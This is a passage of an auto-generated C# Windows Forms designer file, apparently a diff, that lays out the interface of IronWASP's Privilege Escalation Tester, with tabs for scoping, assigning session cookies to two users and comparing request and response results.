System.Windows.Forms.TabPage(); + this.ResultsBaseSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsTopSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsProgressBar = new System.Windows.Forms.ProgressBar(); + this.label4 = new System.Windows.Forms.Label(); + this.ResultsGrid = new System.Windows.Forms.DataGridView(); + this.IDClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HostNameClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestedUrlClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalVsTestClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalRequestBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalResponseBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestRequestBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestResponseBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ResultsBottomTabs = new System.Windows.Forms.TabControl(); + this.tabPage11 = new System.Windows.Forms.TabPage(); + this.tabControl5 = new System.Windows.Forms.TabControl(); + this.tabPage22 = new System.Windows.Forms.TabPage(); + this.tabPage19 = new System.Windows.Forms.TabPage(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.tabControl3 = new System.Windows.Forms.TabControl(); + this.tabPage16 = new System.Windows.Forms.TabPage(); + this.tabPage15 = new System.Windows.Forms.TabPage(); + this.tabPage7 = new System.Windows.Forms.TabPage(); + this.LogDisplayTabs = new System.Windows.Forms.TabControl(); + this.tabPage29 = new System.Windows.Forms.TabPage(); + this.tabPage12 = new System.Windows.Forms.TabPage(); + this.SessView = new IronWASP.SessionView(); + this.OriginalVsTestResponseDRV = new IronWASP.DiffResultView(); + this.OriginalVsTestRequestDRV = new IronWASP.DiffResultView(); + this.TestResponseView = new IronWASP.ResponseView(); + this.TestRequestView = new IronWASP.RequestView(); + this.OriginalResponseView = new IronWASP.ResponseView(); + this.OriginalRequestView = new IronWASP.RequestView(); + this.BaseTabs.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.ConfigurePanel.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FileTypesScopeGrid)).BeginInit(); + this.tabPage4.SuspendLayout(); + this.SessionsBaseSplit.Panel1.SuspendLayout(); + this.SessionsBaseSplit.Panel2.SuspendLayout(); + this.SessionsBaseSplit.SuspendLayout(); + this.SessionsBottomSplit.Panel1.SuspendLayout(); + this.SessionsBottomSplit.Panel2.SuspendLayout(); + this.SessionsBottomSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.SelectSessionsGrid)).BeginInit(); + this.tabPage2.SuspendLayout(); + this.SelectCandidatesBaseTab.Panel1.SuspendLayout(); + this.SelectCandidatesBaseTab.Panel2.SuspendLayout(); + this.SelectCandidatesBaseTab.SuspendLayout(); + this.CandidatesBottomSplit.Panel1.SuspendLayout(); + this.CandidatesBottomSplit.Panel2.SuspendLayout(); + this.CandidatesBottomSplit.SuspendLayout(); + this.SelectCandidatesLogsSplit.Panel1.SuspendLayout(); + this.SelectCandidatesLogsSplit.Panel2.SuspendLayout(); + this.SelectCandidatesLogsSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CandidatesGrid)).BeginInit(); + this.tabPage3.SuspendLayout(); + this.ResultsBaseSplit.Panel1.SuspendLayout(); + this.ResultsBaseSplit.Panel2.SuspendLayout(); + this.ResultsBaseSplit.SuspendLayout(); + this.ResultsTopSplit.Panel1.SuspendLayout(); + this.ResultsTopSplit.Panel2.SuspendLayout(); + this.ResultsTopSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ResultsGrid)).BeginInit(); + this.ResultsBottomTabs.SuspendLayout(); + this.tabPage11.SuspendLayout(); + this.tabControl5.SuspendLayout(); + this.tabPage22.SuspendLayout(); + this.tabPage19.SuspendLayout(); + this.tabPage5.SuspendLayout(); + this.tabControl3.SuspendLayout(); + this.tabPage16.SuspendLayout(); + this.tabPage15.SuspendLayout(); + this.tabPage7.SuspendLayout(); + this.LogDisplayTabs.SuspendLayout(); + this.tabPage29.SuspendLayout(); + this.tabPage12.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.tabPage1); + this.BaseTabs.Controls.Add(this.tabPage4); + this.BaseTabs.Controls.Add(this.tabPage2); + this.BaseTabs.Controls.Add(this.tabPage3); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(884, 561); + this.BaseTabs.TabIndex = 0; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // tabPage1 + // + this.tabPage1.BackColor = System.Drawing.Color.White; + this.tabPage1.Controls.Add(this.ConfigureProgressBar); + this.tabPage1.Controls.Add(this.ConfigurePanel); + this.tabPage1.Location = new System.Drawing.Point(4, 25); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(876, 532); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " Configure "; + // + // ConfigureProgressBar + // + this.ConfigureProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigureProgressBar.Location = new System.Drawing.Point(275, 15); + this.ConfigureProgressBar.Name = "ConfigureProgressBar"; + this.ConfigureProgressBar.Size = new System.Drawing.Size(299, 23); + this.ConfigureProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ConfigureProgressBar.TabIndex = 1; + // + // ConfigurePanel + // + this.ConfigurePanel.Controls.Add(this.label2); + this.ConfigurePanel.Controls.Add(this.ShowDocLL); + this.ConfigurePanel.Controls.Add(this.HostnamesScopeTree); + this.ConfigurePanel.Controls.Add(this.FindSessionsBtn); + this.ConfigurePanel.Controls.Add(this.FileTypesScopeGrid); + this.ConfigurePanel.Location = new System.Drawing.Point(0, 56); + this.ConfigurePanel.Name = "ConfigurePanel"; + this.ConfigurePanel.Size = new System.Drawing.Size(876, 479); + this.ConfigurePanel.TabIndex = 0; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(8, 14); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(763, 13); + this.label2.TabIndex = 37; + this.label2.Text = "The Privilege Escalation Tester is used to discover the sections of the site wher" + + "e access control between users of different privileges is not properly implement" + + "ed."; + // + // ShowDocLL + // + this.ShowDocLL.AutoSize = true; + this.ShowDocLL.Location = new System.Drawing.Point(8, 39); + this.ShowDocLL.Name = "ShowDocLL"; + this.ShowDocLL.Size = new System.Drawing.Size(122, 13); + this.ShowDocLL.TabIndex = 36; + this.ShowDocLL.TabStop = true; + this.ShowDocLL.Text = "How to use this feature?"; + this.ShowDocLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ShowDocLL_LinkClicked); + // + // HostnamesScopeTree + // + this.HostnamesScopeTree.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.HostnamesScopeTree.BackColor = System.Drawing.Color.White; + this.HostnamesScopeTree.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.HostnamesScopeTree.CheckBoxes = true; + this.HostnamesScopeTree.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HostnamesScopeTree.Location = new System.Drawing.Point(184, 76); + this.HostnamesScopeTree.Margin = new System.Windows.Forms.Padding(0); + this.HostnamesScopeTree.Name = "HostnamesScopeTree"; + this.HostnamesScopeTree.ShowPlusMinus = false; + this.HostnamesScopeTree.ShowRootLines = false; + this.HostnamesScopeTree.Size = new System.Drawing.Size(452, 397); + this.HostnamesScopeTree.TabIndex = 34; + this.HostnamesScopeTree.AfterCheck += new System.Windows.Forms.TreeViewEventHandler(this.HostnamesScopeTree_AfterCheck); + this.HostnamesScopeTree.BeforeCollapse += new System.Windows.Forms.TreeViewCancelEventHandler(this.HostnamesScopeTree_BeforeCollapse); + // + // FindSessionsBtn + // + this.FindSessionsBtn.Location = new System.Drawing.Point(478, 39); + this.FindSessionsBtn.Name = "FindSessionsBtn"; + this.FindSessionsBtn.Size = new System.Drawing.Size(158, 23); + this.FindSessionsBtn.TabIndex = 33; + this.FindSessionsBtn.Text = "Find Sessions"; + this.FindSessionsBtn.UseVisualStyleBackColor = true; + this.FindSessionsBtn.Click += new System.EventHandler(this.FindSessionsBtn_Click); + // + // FileTypesScopeGrid + // + this.FileTypesScopeGrid.AllowUserToAddRows = false; + this.FileTypesScopeGrid.AllowUserToDeleteRows = false; + this.FileTypesScopeGrid.AllowUserToResizeRows = false; + this.FileTypesScopeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.FileTypesScopeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FileTypesScopeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.FileTypesScopeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FileTypesScopeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.dataGridViewTextBoxColumn1}); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.FileTypesScopeGrid.DefaultCellStyle = dataGridViewCellStyle2; + this.FileTypesScopeGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.FileTypesScopeGrid.GridColor = System.Drawing.Color.White; + this.FileTypesScopeGrid.Location = new System.Drawing.Point(5, 76); + this.FileTypesScopeGrid.Margin = new System.Windows.Forms.Padding(0); + this.FileTypesScopeGrid.MultiSelect = false; + this.FileTypesScopeGrid.Name = "FileTypesScopeGrid"; + this.FileTypesScopeGrid.ReadOnly = true; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FileTypesScopeGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle3; + this.FileTypesScopeGrid.RowHeadersVisible = false; + this.FileTypesScopeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FileTypesScopeGrid.Size = new System.Drawing.Size(169, 397); + this.FileTypesScopeGrid.TabIndex = 30; + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn1.HeaderText = ""; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.ReadOnly = true; + this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn1.Width = 20; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "SELECT FILE TYPES TO INCLUDE IN SCOPE"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // tabPage4 + // + this.tabPage4.BackColor = System.Drawing.Color.White; + this.tabPage4.Controls.Add(this.SessionsBaseSplit); + this.tabPage4.Location = new System.Drawing.Point(4, 25); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(876, 532); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = " Define Sessions "; + // + // SessionsBaseSplit + // + this.SessionsBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessionsBaseSplit.Location = new System.Drawing.Point(0, 0); + this.SessionsBaseSplit.Name = "SessionsBaseSplit"; + this.SessionsBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // SessionsBaseSplit.Panel1 + // + this.SessionsBaseSplit.Panel1.Controls.Add(this.label3); + this.SessionsBaseSplit.Panel1.Controls.Add(this.SessionsProgressBar); + this.SessionsBaseSplit.Panel1.Controls.Add(this.FindCandidatesBtn); + // + // SessionsBaseSplit.Panel2 + // + this.SessionsBaseSplit.Panel2.Controls.Add(this.SessionsBottomSplit); + this.SessionsBaseSplit.Size = new System.Drawing.Size(876, 532); + this.SessionsBaseSplit.SplitterDistance = 88; + this.SessionsBaseSplit.TabIndex = 35; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(8, 54); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(640, 13); + this.label3.TabIndex = 38; + this.label3.Text = "From the Cookie values shown below assign the Session IDs of user of one privileg" + + "e level to User A and other privilege level to User B."; + // + // SessionsProgressBar + // + this.SessionsProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.SessionsProgressBar.Location = new System.Drawing.Point(225, 12); + this.SessionsProgressBar.Name = "SessionsProgressBar"; + this.SessionsProgressBar.Size = new System.Drawing.Size(684, 23); + this.SessionsProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.SessionsProgressBar.TabIndex = 33; + this.SessionsProgressBar.Visible = false; + // + // FindCandidatesBtn + // + this.FindCandidatesBtn.Location = new System.Drawing.Point(8, 12); + this.FindCandidatesBtn.Name = "FindCandidatesBtn"; + this.FindCandidatesBtn.Size = new System.Drawing.Size(211, 23); + this.FindCandidatesBtn.TabIndex = 34; + this.FindCandidatesBtn.Text = "Find Candidates"; + this.FindCandidatesBtn.UseVisualStyleBackColor = true; + this.FindCandidatesBtn.Visible = false; + this.FindCandidatesBtn.Click += new System.EventHandler(this.FindCandidatesBtn_Click); + // + // SessionsBottomSplit + // + this.SessionsBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessionsBottomSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.SessionsBottomSplit.Location = new System.Drawing.Point(0, 0); + this.SessionsBottomSplit.Name = "SessionsBottomSplit"; + this.SessionsBottomSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // SessionsBottomSplit.Panel1 + // + this.SessionsBottomSplit.Panel1.Controls.Add(this.SelectSessionsGrid); + // + // SessionsBottomSplit.Panel2 + // + this.SessionsBottomSplit.Panel2.Controls.Add(this.label1); + this.SessionsBottomSplit.Panel2.Controls.Add(this.CookieValueTB); + this.SessionsBottomSplit.Size = new System.Drawing.Size(876, 440); + this.SessionsBottomSplit.SplitterDistance = 376; + this.SessionsBottomSplit.TabIndex = 33; + // + // SelectSessionsGrid + // + this.SelectSessionsGrid.AllowUserToAddRows = false; + this.SelectSessionsGrid.AllowUserToDeleteRows = false; + this.SelectSessionsGrid.AllowUserToResizeRows = false; + this.SelectSessionsGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.SelectSessionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.SelectSessionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.SelectSessionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn2, + this.Column1, + this.dataGridViewTextBoxColumn2, + this.Column2, + this.CookieParamValueClmn}); + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle5.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle5.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle5.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.SelectSessionsGrid.DefaultCellStyle = dataGridViewCellStyle5; + this.SelectSessionsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.SelectSessionsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.SelectSessionsGrid.GridColor = System.Drawing.Color.White; + this.SelectSessionsGrid.Location = new System.Drawing.Point(0, 0); + this.SelectSessionsGrid.Margin = new System.Windows.Forms.Padding(0); + this.SelectSessionsGrid.MultiSelect = false; + this.SelectSessionsGrid.Name = "SelectSessionsGrid"; + this.SelectSessionsGrid.ReadOnly = true; + dataGridViewCellStyle6.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle6.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle6.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle6.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle6.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle6.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle6.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.SelectSessionsGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle6; + this.SelectSessionsGrid.RowHeadersVisible = false; + this.SelectSessionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.SelectSessionsGrid.Size = new System.Drawing.Size(876, 376); + this.SelectSessionsGrid.TabIndex = 30; + this.SelectSessionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.SelectSessionsGrid_CellClick); + this.SelectSessionsGrid.SelectionChanged += new System.EventHandler(this.SelectSessionsGrid_SelectionChanged); + // + // dataGridViewCheckBoxColumn2 + // + this.dataGridViewCheckBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn2.HeaderText = "USER A"; + this.dataGridViewCheckBoxColumn2.Name = "dataGridViewCheckBoxColumn2"; + this.dataGridViewCheckBoxColumn2.ReadOnly = true; + this.dataGridViewCheckBoxColumn2.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn2.Width = 60; + // + // Column1 + // + this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Column1.HeaderText = "USER B"; + this.Column1.Name = "Column1"; + this.Column1.ReadOnly = true; + this.Column1.Width = 60; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn2.HeaderText = "HOST"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + this.dataGridViewTextBoxColumn2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.dataGridViewTextBoxColumn2.Width = 43; + // + // Column2 + // + this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.Column2.HeaderText = "COOKIE NAME"; + this.Column2.Name = "Column2"; + this.Column2.ReadOnly = true; + this.Column2.Width = 97; + // + // CookieParamValueClmn + // + this.CookieParamValueClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.CookieParamValueClmn.HeaderText = "COOKIE VALUE"; + this.CookieParamValueClmn.Name = "CookieParamValueClmn"; + this.CookieParamValueClmn.ReadOnly = true; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(3, 8); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(133, 13); + this.label1.TabIndex = 32; + this.label1.Text = "Selected Parameter Value:"; + // + // CookieValueTB + // + this.CookieValueTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CookieValueTB.Location = new System.Drawing.Point(0, 24); + this.CookieValueTB.Multiline = true; + this.CookieValueTB.Name = "CookieValueTB"; + this.CookieValueTB.Size = new System.Drawing.Size(876, 36); + this.CookieValueTB.TabIndex = 31; + // + // tabPage2 + // + this.tabPage2.BackColor = System.Drawing.Color.White; + this.tabPage2.Controls.Add(this.SelectCandidatesBaseTab); + this.tabPage2.Location = new System.Drawing.Point(4, 25); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(876, 532); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " Select Candidates "; + // + // SelectCandidatesBaseTab + // + this.SelectCandidatesBaseTab.Dock = System.Windows.Forms.DockStyle.Fill; + this.SelectCandidatesBaseTab.Location = new System.Drawing.Point(3, 3); + this.SelectCandidatesBaseTab.Name = "SelectCandidatesBaseTab"; + this.SelectCandidatesBaseTab.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // SelectCandidatesBaseTab.Panel1 + // + this.SelectCandidatesBaseTab.Panel1.Controls.Add(this.label5); + this.SelectCandidatesBaseTab.Panel1.Controls.Add(this.SelectUserBRB); + this.SelectCandidatesBaseTab.Panel1.Controls.Add(this.RecordingSelectBox); + this.SelectCandidatesBaseTab.Panel1.Controls.Add(this.SelectUserARB); + this.SelectCandidatesBaseTab.Panel1.Controls.Add(this.SelectCandidatesLbl); + this.SelectCandidatesBaseTab.Panel1.Controls.Add(this.TestCandidatesBtn); + this.SelectCandidatesBaseTab.Panel1.Controls.Add(this.CandidatesProgressBar); + // + // SelectCandidatesBaseTab.Panel2 + // + this.SelectCandidatesBaseTab.Panel2.Controls.Add(this.CandidatesBottomSplit); + this.SelectCandidatesBaseTab.Size = new System.Drawing.Size(870, 526); + this.SelectCandidatesBaseTab.SplitterDistance = 131; + this.SelectCandidatesBaseTab.TabIndex = 0; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(5, 41); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(756, 13); + this.label5.TabIndex = 39; + this.label5.Text = "From the Request below, select Requests that belong to user of one privilege leve" + + "l and test them with authenticated session of user with another privilege level." + + ""; + // + // SelectUserBRB + // + this.SelectUserBRB.AutoSize = true; + this.SelectUserBRB.BackColor = System.Drawing.Color.Green; + this.SelectUserBRB.ForeColor = System.Drawing.Color.White; + this.SelectUserBRB.Location = new System.Drawing.Point(272, 67); + this.SelectUserBRB.Name = "SelectUserBRB"; + this.SelectUserBRB.Size = new System.Drawing.Size(240, 17); + this.SelectUserBRB.TabIndex = 3; + this.SelectUserBRB.TabStop = true; + this.SelectUserBRB.Text = "Select only User B Logs (Highlighed in Green)"; + this.SelectUserBRB.UseVisualStyleBackColor = false; + this.SelectUserBRB.CheckedChanged += new System.EventHandler(this.SelectUserBRB_CheckedChanged); + // + // RecordingSelectBox + // + this.RecordingSelectBox.FormattingEnabled = true; + this.RecordingSelectBox.Location = new System.Drawing.Point(471, 104); + this.RecordingSelectBox.Name = "RecordingSelectBox"; + this.RecordingSelectBox.Size = new System.Drawing.Size(227, 21); + this.RecordingSelectBox.TabIndex = 32; + // + // SelectUserARB + // + this.SelectUserARB.AutoSize = true; + this.SelectUserARB.BackColor = System.Drawing.Color.Orange; + this.SelectUserARB.Location = new System.Drawing.Point(7, 67); + this.SelectUserARB.Name = "SelectUserARB"; + this.SelectUserARB.Size = new System.Drawing.Size(249, 17); + this.SelectUserARB.TabIndex = 2; + this.SelectUserARB.TabStop = true; + this.SelectUserARB.Text = "Select only User A Logs (Highlighted in Orange)"; + this.SelectUserARB.UseVisualStyleBackColor = false; + this.SelectUserARB.CheckedChanged += new System.EventHandler(this.SelectUserARB_CheckedChanged); + // + // SelectCandidatesLbl + // + this.SelectCandidatesLbl.AutoSize = true; + this.SelectCandidatesLbl.Location = new System.Drawing.Point(5, 107); + this.SelectCandidatesLbl.Name = "SelectCandidatesLbl"; + this.SelectCandidatesLbl.Size = new System.Drawing.Size(396, 13); + this.SelectCandidatesLbl.TabIndex = 31; + this.SelectCandidatesLbl.Text = "If you want to use a Login Sequence Recording during the testing then select one:" + + ""; + // + // TestCandidatesBtn + // + this.TestCandidatesBtn.Location = new System.Drawing.Point(5, 7); + this.TestCandidatesBtn.Name = "TestCandidatesBtn"; + this.TestCandidatesBtn.Size = new System.Drawing.Size(179, 23); + this.TestCandidatesBtn.TabIndex = 1; + this.TestCandidatesBtn.Text = "Test Selected Candidates"; + this.TestCandidatesBtn.UseVisualStyleBackColor = true; + this.TestCandidatesBtn.Visible = false; + this.TestCandidatesBtn.Click += new System.EventHandler(this.TestCandidatesBtn_Click); + // + // CandidatesProgressBar + // + this.CandidatesProgressBar.Location = new System.Drawing.Point(327, 7); + this.CandidatesProgressBar.Name = "CandidatesProgressBar"; + this.CandidatesProgressBar.Size = new System.Drawing.Size(334, 23); + this.CandidatesProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.CandidatesProgressBar.TabIndex = 0; + this.CandidatesProgressBar.Visible = false; + // + // CandidatesBottomSplit + // + this.CandidatesBottomSplit.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.CandidatesBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.CandidatesBottomSplit.Location = new System.Drawing.Point(0, 0); + this.CandidatesBottomSplit.Name = "CandidatesBottomSplit"; + // + // CandidatesBottomSplit.Panel1 + // + this.CandidatesBottomSplit.Panel1.Controls.Add(this.FilterTree); + // + // CandidatesBottomSplit.Panel2 + // + this.CandidatesBottomSplit.Panel2.Controls.Add(this.SelectCandidatesLogsSplit); + this.CandidatesBottomSplit.Size = new 